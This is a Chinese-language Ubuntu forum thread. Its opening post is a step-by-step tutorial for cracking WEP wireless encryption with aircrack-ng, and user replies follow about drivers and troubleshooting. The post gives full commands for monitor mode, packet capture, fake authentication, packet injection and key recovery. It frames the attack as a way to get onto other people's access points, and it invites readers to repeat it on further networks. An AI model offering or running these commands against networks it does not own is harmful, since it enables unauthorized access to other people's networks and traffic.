Ubuntu中文论坛

Ubuntu8.10破解wep无线加密
测试环境：电脑dell 1400 无线网卡intel 3945abg 硬盘安装 Ubuntu8.10 linksys无线AP

一、安装ubuntu和aircrack-ng
先安装 Ubuntu8.10，更新系统到最新
终端中输入 sudo apt-get install aircrack-ng 安装aircrack-ng
没联网的话 到别的电脑上网下载aircrack-ng Ubuntu DEB安装包 安装

二、破解过程
1、启动无线网卡的监控模式，在终端中输入：sudo airmon-ng start wlan0
（wlan0是无线网卡的端口,可在终端中输入 ifconfig 查看）

2、查看无线AP在终端中输入：
sudo airodump-ng mon0
（特别说明：启动监控模式后无线网的端口现在是 mon0 ！！！）
看看有哪些采用wep加密的AP在线，然后按 ctrl+c 退出，保留终端

3、抓包
另开一个终端，输入：
sudo airodump-ng -c 6 --bssid AP's MAC -w wep mon0
(-c后面跟着的6是要破解的AP工作频道，--bissid后面跟着的AP's MAC是要欲破解AP的MAC地址，-w后面跟着wep的是抓下来的数据包DATA保存的文件名，具体情况根据步骤2里面的在线AP更改频道和MAC地址，DATA保存的文件名可随便命名）

4、与AP建立虚拟连接
再另开一个终端，输入：
sudo aireplay-ng -1 0 -a AP's MAC -h My MAC mon0
（-h后面跟着的My MAC是自己的无线网卡的MAC地址)

5、进行注入
成功建立虚拟连接后输入：
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP's MAC -h My MAC mon0
现在回头看下步骤3的终端是不是DATA在开始飞涨！

6、解密
收集有5000个以上的DATA之后，另开一个终端，输入：
sudo aircrack-ng wep*.cap
进行解密
（如果没算出来的话，继续等，aircrack-ng 会在DATA每增加多5000个之后就自动再运行，直到算出密码为至）

7、收工
破解出密码后在终端中输入 sudo airmon-ng stop mon0 关闭监控模式，不然无线网卡会一直向刚刚的AP进行注入的，用ctrl+c退出或者直接关闭终端都是不行的。 现在可以冲浪去了，或者重复步聚1-7破解其它的AP 呵呵兄弟们冲浪时可别太猛了，不然把主人给冲翻了可就不好。

真的假的？改天试试。。。。

做个标记 太晚了明天再看

改天有空试试看

真的可以吗，不是说要加载ipwraw驱动才能启动监控功能吗？

真的可以了吗？用的是9.04还是8.10？不是说要换成ipwraw驱动吗？我想知道怎么安装这个驱动，如果有教程好心点，发到我邮箱[email protected]好吗？

wangaofang 写了：真的可以吗，不是说要加载ipwraw驱动才能启动监控功能吗？

可以不用ipwraw这个的 那是在BT3下才需要

ghoul 写了：

wangaofang 写了：真的可以吗，不是说要加载ipwraw驱动才能启动监控功能吗？

可以不用ipwraw这个的 那是在BT3下才需要

谢谢ghoul的提醒，呵呵，我开始尝试下了！

谢谢楼主分享！收藏了。

friend.ethan 写了：

viewtopic.php?f=116&t=189459

你引用的帖子里讲述的方法远比楼主介绍的复杂；
楼主的方法一看就懂，你引用的帖子的方法没看明白

mark一下，有空研究一下。

bbeikke 写了：

friend.ethan 写了：

viewtopic.php?f=116&t=189459

你引用的帖子里讲述的方法远比楼主介绍的复杂；
楼主的方法一看就懂，你引用的帖子的方法没看明白

实际破解的情况也远比楼主提供的方法复杂！他只说了wep的破解，wpa的没说！还有wep本身分有客户端和无客户端的不同情况。

为什么我不能关闭监听？我做完1到6步以后，输入sudo airomon-ng stop mon0 说没有 airomon-ng这个命令，真是奇怪，都可以开始监听，为什么不能关闭监听呢？还有就是开始第3步的时候网络就断了，我做完1到6之后想联网，不管怎么样都连接不了，只能重启，谁知道怎么解决阿？

有空试试看 破一下自己的密码~~
看来还是WPA2比较安全~~